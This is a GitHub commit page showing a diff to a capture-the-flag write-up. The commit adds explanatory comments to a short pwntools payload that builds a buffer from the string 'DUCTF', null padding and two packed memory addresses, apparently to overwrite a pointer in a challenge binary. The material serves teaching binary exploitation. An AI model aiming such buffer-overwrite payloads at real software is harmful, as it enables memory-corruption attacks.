Skip to content

Commit

Permalink
add explanations
Browse files Browse the repository at this point in the history
  • Loading branch information
sukolenvo committed Jul 12, 2024
1 parent f745ed7 commit 4f49b10
Showing 1 changed file with 5 additions and 5 deletions.
10 changes: 5 additions & 5 deletions solve/vector/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -210,11 +210,11 @@ This is CTF framework for binary exploitation, its only "disadvantage" is it has

=== "python script"
```py
paylod = flat(
b'DUCTF\x00',
'\x00' * 10,
pack(0x4051e0),
pack(0x4051e0 + 5)
paylod = flat( # concatenate all elements one after another
b'DUCTF\x00', # first first bytes of the buffer is string DUCTF
'\x00' * 10, # fill in remaining 10 character with null bytes
pack(0x4051e0), # address 0x4051e0 converted to 8 bytes in little endian format
pack(0x4051e0 + 5) # address 0x4051e5 converted to 8 bytes in little endian format
)
print(hexdump(paylod))
```
Expand Down

0 comments on commit 4f49b10

Please sign in to comment.